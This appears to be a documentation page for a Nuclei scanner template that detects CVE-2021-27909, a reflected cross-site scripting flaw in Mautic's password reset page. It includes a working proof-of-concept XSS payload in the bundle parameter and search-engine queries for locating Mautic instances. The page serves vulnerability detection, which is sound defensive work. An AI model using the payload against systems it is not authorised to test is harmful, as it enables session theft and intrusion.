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Mautic <3.3.4 - Cross-Site Scripting

ID: CVE-2021-27909

Severity: medium

Author: kiransau

Tags: cve2021,cve,mautic,xss,acquia

Description

Section titled “Description”

Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2021-27909


info:
  name: Mautic <3.3.4 - Cross-Site Scripting
  author: kiransau
  severity: medium
  description: Mautic before 3.3.4 contains a cross-site scripting vulnerability on the password reset page in the bundle parameter of the URL. An attacker can inject arbitrary script, steal cookie-based authentication credentials, and/or launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade Mautic to version 3.3.4 or later to mitigate this vulnerability.
  reference:
    - https://github.com/mautic/mautic/security/advisories/GHSA-32hw-3pvh-vcvc
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27909
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-27909
    cwe-id: CWE-79
    epss-score: 0.00101
    epss-percentile: 0.41606
    cpe: cpe:2.3:a:acquia:mautic:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acquia
    product: mautic
    shodan-query:
      - title:"Mautic"
      - http.title:"mautic"
    fofa-query: title="mautic"
    google-query: intitle:"mautic"
  tags: cve2021,cve,mautic,xss,acquia


http:
  - method: GET
    path:
      - "{{BaseURL}}/passwordreset?bundle=';alert(document.domain);var+ok='"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'';alert(document.domain);var ok='"
          - 'mauticBasePath'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 490a00463044022028cc2d817865d57bac22c28b5171527a81c7610251b7c34f51b1f4f6dc18647d022011d08e90a0a9b6422e3ac0e1efd4201dbe95bc8ca4fafb01ba852a2332707d31:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-27909.yaml"

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